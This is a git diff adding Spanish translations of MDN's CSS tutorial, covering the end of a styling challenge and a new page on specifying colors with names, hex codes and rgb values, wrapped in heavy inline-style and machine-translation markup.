+<table style="border: 2px outset #3366bb; margin-right: 2em; padding: 1em;">
+ <caption>Antes</caption>
+ <tbody>
+  <tr>
+   <td><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
+  </tr>
+ </tbody>
+</table>
+
+<table style="border: 2px outset #3366bb; padding: 1em;">
+ <caption>Después</caption>
+ <tbody>
+  <tr>
+   <td style="color: blue; text-decoration: underline;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="tuto_example">
+<div class="tuto_type"><span id="result_box" lang="es"><span class="alt-edited hps">Problema</span></span></div>
+<span id="result_box" lang="es"><span class="hps">Cambie su</span> hoja de <span class="hps">estilo</span> <span class="hps">de manera que</span> <span class="alt-edited hps">aparecen subrayados</span> <span class="hps">sólo las letras</span> <span class="hps">rojas</span><span>:</span></span>
+
+<table style="border: 2px outset #3366bb; padding: 1em;">
+ <tbody>
+  <tr>
+   <td style="color: blue;"><strong style="color: red; text-decoration: underline;">C</strong>ascading <strong style="color: red; text-decoration: underline;">S</strong>tyle <strong style="color: red; text-decoration: underline;">S</strong>heets</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="tuto_details" id="tutochallenge">
+<div class="tuto_type">Possible solution</div>
+
+<p>Move the declaration for underlining from the rule for {{ HTMLElement("p") }} to the one for {{ HTMLElement("strong") }}. The resulting file looks like this:</p>
+
+<pre class="brush: css">p {color: blue; }
+strong {color: red; text-decoration: underline;}
+</pre>
+
+<p> </p>
+<a class="hideAnswer" href="#challenge">Hide solution</a></div>
+<a href="#tutochallenge" title="Display a possible solution for the challenge">Ver una solución al desafío.</a></div>
+
+<h2 id="¿Y_ahora_qué"><span class="short_text" id="result_box" lang="es"><span class="hps">¿Y ahora qué</span><span>?</span></span></h2>
+
+<p>{{ nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Selectors", "Selectores")}}<span id="result_box" lang="es"><span class="hps">Su</span> <span class="hps">hoja de estilo</span> <span class="hps">de ejemplo especifica</span> <span class="hps">estilos</span> <span class="hps">para las etiquetas</span> <span class="atn hps">&lt;</span><span>p</span><span>&gt;</span> <span class="hps">y</span> <span class="hps">&lt;strong</span><span>&gt;</span><span>, cambiando el</span> <span class="hps">estilo de</span> <span class="hps">los elementos correspondientes</span> <span class="hps">en todo el documento</span><span>.</span> <span class="hps">La</span> <span class="hps">siguiente sección</span> <span class="hps">describe cómo especificar</span> <span class="hps">el estilo</span> <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Selectors">de manera más selectiva</a></span>.</p>
diff --git a/files/es/web/css/introducción/color/index.html b/files/es/web/css/introducción/color/index.html
new file mode 100644
index 0000000000..578f1e6898
--- /dev/null
+++ b/files/es/web/css/introducción/color/index.html
@@ -0,0 +1,363 @@
+---
+title: Color
+slug: Web/CSS/Introducción/Color
+translation_of: Learn/CSS/Introduction_to_CSS/Values_and_units#Colors
+---
+<p>{{ CSSTutorialTOC() }}</p>
+
+<p><a class="button previousPage" href="https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Getting_Started/Text_styles" rel="prev" style="margin: 0px 20px 20px 0px; padding: 5px 11px; border: 0px; color: rgb(77, 78, 83); text-decoration: none; cursor: pointer; display: inline-block; line-height: 1; font-weight: normal; letter-spacing: normal; text-transform: uppercase; border-radius: 4px; box-shadow: rgb(187, 191, 194) 0px -1px inset; float: left; font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; text-align: start; text-indent: 0px; white-space: normal; background-color: rgb(234, 239, 242);" title="Los estilos de texto"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">IR A LA SECCIÓN ANTERIOR: </span></font></font><br>
+ <font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">LOS ESTILOS DE TEXTO</span></font></font></a></p>
+
+<p><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Esta es la sección octava de la </span></font></font><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Getting_Started" style="margin: 0px; padding: 0px; border: 0px; color: rgb(0, 149, 221); text-decoration: none; font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);" title="es-es / docs / Web / guía / CSS / Primeros pasos"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">CSS Introducción</span></font></font></a><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">tutorial; </span></font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">se explica cómo puede especificar el color en CSS. </span></font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">En su hoja de estilos de muestra, se introduce colores de fondo.</span></font></font></p>
+
+<h2 class="clearLeft" id="Información_Color" style="margin: 0px 0px 12px; padding: 0px; border: 0px; font-weight: 700; font-family: 'Open Sans', sans-serif; line-height: 30px; font-size: 2.14285714285714rem; letter-spacing: -1px; color: rgb(77, 78, 83); font-style: normal; font-variant: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Información: Color</span></font></font></h2>
+
+<p style="margin: 0px 0px 24px; padding: 0px; border: 0px; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">En este tutorial hasta ahora, se ha utilizado un número limitado de colores con nombre. </span></font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">CSS 2 soporta 17 colores con nombre absoluto. </span></font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Algunos de los nombres puede que no sea el esperado:</span></font></font></p>
+
+<table style="border: 0px; margin-left: 2em; text-align: right;">
+ <tbody>
+  <tr>
+   <td> </td>
+   <td>black</td>
+   <td style="width: 2em; height: 2em; background-color: black;"> </td>
+   <td>gray</td>
+   <td style="width: 2em; height: 2em; background-color: gray;"> </td>
+   <td>silver</td>
+   <td style="width: 2em; height: 2em; background-color: silver;"> </td>
+   <td>white</td>
+   <td style="width: 2em; height: 2em; background-color: white; border: 1px dotted gray;"> </td>
+  </tr>
+  <tr>
+   <td>primaries</td>
+   <td>red</td>
+   <td style="width: 2em; height: 2em; background-color: red;"> </td>
+   <td>lime</td>
+   <td style="width: 2em; height: 2em; background-color: lime;"> </td>
+   <td>blue</td>
+   <td style="width: 2em; height: 2em; background-color: blue;"> </td>
+  </tr>
+  <tr>
+   <td>secondaries</td>
+   <td>yellow</td>
+   <td style="width: 2em; height: 2em; background-color: yellow;"> </td>
+   <td>aqua</td>
+   <td style="width: 2em; height: 2em; background-color: aqua;"> </td>
+   <td>fuchsia</td>
+   <td style="width: 2em; height: 2em; background-color: fuchsia;"> </td>
+  </tr>
+  <tr>
+   <td> </td>
+   <td>maroon</td>
+   <td style="width: 2em; height: 2em; background-color: maroon;"> </td>
+   <td>orange</td>
+   <td style="width: 2em; height: 2em; background-color: orange;"> </td>
+   <td>olive</td>
+   <td style="width: 2em; height: 2em; background-color: olive;"> </td>
+   <td>purple</td>
+   <td style="width: 2em; height: 2em; background-color: purple;"> </td>
+   <td>green</td>
+   <td style="width: 2em; height: 2em; background-color: green;"> </td>
+   <td>navy</td>
+   <td style="width: 2em; height: 2em; background-color: navy;"> </td>
+   <td>teal</td>
+   <td style="width: 2em; height: 2em; background-color: teal;"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<div class="tuto_details">
+<div class="tuto_type">
+<div class="tuto_type" style="margin: 0px; padding: 0px; border: 0px; font-weight: 700; text-align: left; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: 21px; text-indent: 0px; text-transform: none; white-space: normal;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Detalles</span></font></font></div>
+
+<p style="margin: 0px 0px 24px; padding: 0px; border: 0px; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Su navegador puede soportar muchos más colores con nombre, como:</span></font></font></p>
+</div>
+
+<table style="border: 0px; margin: .5em 0px .5em 2em; text-align: right; background-color: inherit;">
+ <tbody>
+  <tr>
+   <td>dodgerblue</td>
+   <td style="width: 2em; height: 2em; background-color: dodgerblue;"> </td>
+   <td>peachpuff</td>
+   <td style="width: 2em; height: 2em; background-color: peachpuff;"> </td>
+   <td>tan</td>
+   <td style="width: 2em; height: 2em; background-color: tan;"> </td>
+   <td>firebrick</td>
+   <td style="width: 2em; height: 2em; background-color: firebrick;"> </td>
+   <td>aquamarine</td>
+   <td style="width: 2em; height: 2em; background-color: aquamarine;"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Para detalles de esta lista ampliada, consulte: </span></font></font><a class="external external-icon" href="http://www.w3.org/TR/2003/CR-css3-color-20030514/#svg-color" style="margin: 0px; padding: 0px; border: 0px; color: rgb(0, 149, 221); text-decoration: none; white-space: pre-line; font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; background-color: rgb(244, 244, 244);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">SVG palabras clave de color</span></font></font></a><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> en el </span></font></font><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">módulo de colores </span></font></font><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">CSS 3 . </span></font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Tenga cuidado con el uso de nombres de colores;puede que algunos de sus lectores de navegación no lo soporte.</span></font></font></p>
+</div>
+
+<p><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Para una paleta más grande, especificar los componentes rojo, verde y azul del color que desee, utilizando el signo numerico (hash) y tres </span></font></font><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">dígitos  </span></font></font><em><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">hexadecimales</span></font></font></em><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> entre los rangos  0 - 9, a - f. </span></font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Las letras a - f representan los valores de 10 a 15:</span></font></font></p>
+
+<table style="border: 0px; margin-left: 2em;">
+ <tbody>
+  <tr>
+   <td>black</td>
+   <td style="width: 2em; height: 2em; background-color: #000;"> </td>
+   <td><code>#000</code></td>
+  </tr>
+  <tr>
+   <td>pure red</td>
+   <td style="width: 2em; height: 2em; background-color: #f00;"> </td>
+   <td><code>#f00</code></td>
+  </tr>
+  <tr>
+   <td>pure green</td>
+   <td style="width: 2em; height: 2em; background-color: #0f0;"> </td>
+   <td><code>#0f0</code></td>
+  </tr>
+  <tr>
+   <td>pure blue</td>
+   <td style="width: 2em; height: 2em; background-color: #00f;"> </td>
+   <td><code>#00f</code></td>
+  </tr>
+  <tr>
+   <td>white</td>
+   <td style="width: 2em; height: 2em; background-color: #fff; border: 1px dotted gray;"> </td>
+   <td><code>#fff</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><br>
+ <span style="color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; display: inline !important; float: none; background-color: rgb(255, 255, 255);">Para toda la paleta, especificar dos dígitos hexadecimales para cada componente:</span></p>
+
+<table style="border: 0px; margin-left: 2em;">
+ <tbody>
+  <tr>
+   <td>black</td>
+   <td style="width: 2em; height: 2em; background-color: #000;"> </td>
+   <td><code>#000000</code></td>
+  </tr>
+  <tr>
+   <td>pure red</td>
+   <td style="width: 2em; height: 2em; background-color: #f00;"> </td>
+   <td><code>#ff0000</code></td>
+  </tr>
+  <tr>
+   <td>pure green</td>
+   <td style="width: 2em; height: 2em; background-color: #0f0;"> </td>
+   <td><code>#00ff00</code></td>
+  </tr>
+  <tr>
+   <td>pure blue</td>
+   <td style="width: 2em; height: 2em; background-color: #00f;"> </td>
+   <td><code>#0000ff</code></td>
+  </tr>
+  <tr>
+   <td>white</td>
+   <td style="width: 2em; height: 2em; background-color: #fff; border: 1px dotted gray;"> </td>
+   <td><code>#ffffff</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><span style="color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; display: inline !important; float: none; background-color: rgb(255, 255, 255);">Generalmente, usted puede obtener estos códigos hexadecimales de seis dígitos de su programa de gráficos o alguna otra herramienta.</span></p>
+
+<div class="tuto_example">
+<div class="tuto_type">
+<div class="tuto_type" style="margin: 0px; padding: 0px; border: 0px; font-weight: 700; text-align: left; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: 21px; text-indent: 0px; text-transform: none; white-space: normal;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Ejemplo</span></font></font></div>
+
+<p style="margin: 0px 0px 24px; padding: 0px; border: 0px; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Con un poco de práctica, puede ajustar los colores de tres dígitos de forma manual para la mayoría de los propósitos:</span></font></font></p>
+</div>
+
+<table style="border: 0px; margin-left: 2em; background-color: #fffff4;">
+ <tbody>
+  <tr>
+   <td><span style="color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; display: inline !important; float: none; background-color: rgb(255, 255, 244);">Comience con el rojo puro:</span></td>
+   <td style="width: 2em; height: 2em; background-color: #f00;"> </td>
+   <td><code>#f00</code></td>
+  </tr>
+  <tr>
+   <td><span style="color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; display: inline !important; float: none; background-color: rgb(201, 215, 241);">Para que sea más pálido, añadir un poco de verde y azul:</span></td>
+   <td style="width: 2em; height: 2em; background-color: #f77;"> </td>
+   <td><code>#f77</code></td>
+  </tr>
+  <tr>
+   <td><span style="color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; display: inline !important; float: none; background-color: rgb(255, 255, 244);">Para hacerlo más naranja, añadir un poco de verde adicional:</span></td>
+   <td style="width: 2em; height: 2em; background-color: #fa7;"> </td>
+   <td><code>#fa7</code></td>
+  </tr>
+  <tr>
+   <td><span style="color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; display: inline !important; float: none; background-color: rgb(255, 255, 244);">Para oscurecer, reducir todos sus componentes:</span></td>
+   <td style="width: 2em; height: 2em; background-color: #c74;"> </td>
+   <td><code>#c74</code></td>
+  </tr>
+  <tr>
+   <td><span style="color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; display: inline !important; float: none; background-color: rgb(255, 255, 244);">Para reducir su saturación, hacer que sus componentes más iguales:</span></td>
+   <td style="width: 2em; height: 2em; background-color: #c98;"> </td>
+   <td><code>#c98</code></td>
+  </tr>
+  <tr>
+   <td><span style="color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; display: inline !important; float: none; background-color: rgb(255, 255, 244);">Si usted los pone exactamente iguales, se obtiene gris:</span></td>
+   <td style="width: 2em; height: 2em; background-color: #ccc;"> </td>
+   <td><code>#ccc</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><span style="color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; display: inline !important; float: none; background-color: rgb(255, 255, 244);">Para un tono pastel como el azul pálido:</span></p>
+
+<table style="border: 0px; margin-left: 2em; background-color: #fffff4;">
+ <tbody>
+  <tr>
+   <td><span style="color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; display: inline !important; float: none; background-color: rgb(255, 255, 244);">Comience con blanco puro:</span></td>
+   <td style="width: 2em; height: 2em; background-color: #fff; border: 1px dotted gray;"> </td>
+   <td><code>#fff</code></td>
+  </tr>
+  <tr>
+   <td><span style="color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; display: inline !important; float: none; background-color: rgb(255, 255, 244);">Reducir los otros componentes un poco:</span></td>
+   <td style="width: 2em; height: 2em; background-color: #eef; border: 1px dotted gray;"> </td>
+   <td><code>#eef</code></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="tuto_details">
+<div class="tuto_type">
+<div class="tuto_type" style="margin: 0px; padding: 0px; border: 0px; font-weight: 700; text-align: left; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: 21px; text-indent: 0px; text-transform: none; white-space: normal;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Más detalles</span></font></font></div>
+
+<p style="margin: 0px 0px 24px; padding: 0px; border: 0px; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">También puede especificar un color mediante los valores RGB decimales en el rango de 0 - 255, o porcentajes.</span></font></font></p>
+
+<p><span style="color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; display: inline !important; float: none; background-color: rgb(244, 244, 244);">Por ejemplo, este es de color granate (rojo oscuro)</span>dark red:</p>
+</div>
+
+<pre class="brush:css  language-css" style="margin: 0px 0px 20px; padding: 1em 0px 1em 30px; border-width: 0px 0px 0px 6px; border-left-style: solid; font-family: Consolas, Monaco, 'Andale Mono', monospace; font-size: 14px; line-height: 19px; color: rgb(77, 78, 83); overflow: auto; direction: ltr; text-align: left; white-space: pre; position: relative; text-shadow: none; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; text-indent: 0px; text-transform: none; background: 50% 0% rgb(250, 251, 252);"><code class="language-css" style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-weight: inherit; font-family: Consolas, Monaco, 'Andale Mono', monospace; direction: ltr; text-align: left; white-space: pre; color: rgb(77, 78, 83); text-shadow: none;"><span class="token function" style="margin: 0px; padding: 0px; border: 0px; color: rgb(221, 74, 104);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">RGB</span></font></font></span><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> (128, 0, 0)</span></font></font></code></pre>
+
+<p><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Para más detalles sobre cómo especificar los colores, ver: </span></font></font><a class="external external-icon" href="http://www.w3.org/TR/CSS21/syndata.html#color-units" style="margin: 0px; padding: 0px; border: 0px; color: rgb(0, 149, 221); text-decoration: none; white-space: pre-line; font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; background-color: rgb(244, 244, 244);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Colores</span></font></font></a><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> en la Especificación CSS.</span></font></font></p>
+
+<p><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Para obtener información sobre la adecuación de los colores del sistema como Menú y ThreeDFace, véase: </span></font></font><a class="external external-icon" href="http://www.w3.org/TR/CSS21/ui.html#system-colors" style="margin: 0px; padding: 0px; border: 0px; color: rgb(0, 149, 221); text-decoration: none; white-space: pre-line; font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; background-color: rgb(244, 244, 244);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Sistema CSS2 Colores</span></font></font></a><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> en la Especificación CSS.</span></font></font></p>
+</div>
+
+<h3 id="Propiedades_de_Color" style="margin: 0px 0px 12px; padding: 0px; border: 0px; font-weight: 200; font-family: 'Open Sans', sans-serif; line-height: 24px; font-size: 1.71428571428571rem; letter-spacing: -0.5px; color: rgb(77, 78, 83); font-style: normal; font-variant: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Propiedades de Color</span></font></font></h3>
+
+<p style="margin: 0px 0px 24px; padding: 0px; border: 0px; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Ya ha utilizado </span></font></font><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">la propiedad</span></font></font><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/color" style="margin: 0px; padding: 0px; border: 0px; color: rgb(0, 149, 221); text-decoration: none;" title=""><code style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-weight: inherit; font-family: Consolas, Monaco, 'Andale Mono', monospace;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> color</span></font></font></code></a><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">  en el texto.</span></font></font></p>
+
+<p style="margin: 0px 0px 24px; padding: 0px; border: 0px; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">También puede utilizar <code>la</code></span></font></font><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> propiedad </span></font></font><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"><code> </code></span></font></font><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/background-color" style="margin: 0px; padding: 0px; border: 0px; color: rgb(0, 149, 221); text-decoration: none;" title=""><code style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-weight: inherit; font-family: Consolas, Monaco, 'Andale Mono', monospace;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">background-color</span></font></font></code></a><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> para cambiar fondos elementos.</span></font></font></p>
+
+<p style="margin: 0px 0px 24px; padding: 0px; border: 0px; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Los Fondos (</span></font></font><span style="color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; display: inline !important; float: none; background-color: rgb(255, 255, 255);">Backgrounds </span>) <font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">se pueden establecer en </span></font></font><code style="margin: 0px; padding: 0px; border: 0px; font-style: normal; font-weight: normal; font-family: Consolas, Monaco, 'Andale Mono', monospace; color: rgb(77, 78, 83); font-size: 14px; font-variant: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);"><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">transparent</span></code><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);"> (transparentes) </span><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">para eliminar explícitamente cualquier color, revelando fondo del elemento padre.</span></font></font></p>
+
+<div class="tuto_example">
+<div class="tuto_type">
+<div class="tuto_type" style="margin: 0px; padding: 0px; border: 0px; font-weight: 700; text-align: left; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: 21px; text-indent: 0px; text-transform: none; white-space: normal;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Ejemplo</span></font></font></div>
+
+<p style="margin: 0px 0px 24px; padding: 0px; border: 0px; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Los </span></font></font><strong style="margin: 0px; padding: 0px; border: 0px;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">ejemplos de</span></font></font></strong><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> cajas de este tutorial utilizan este fondo de color amarillo pálido:</span></font></font></p>
+
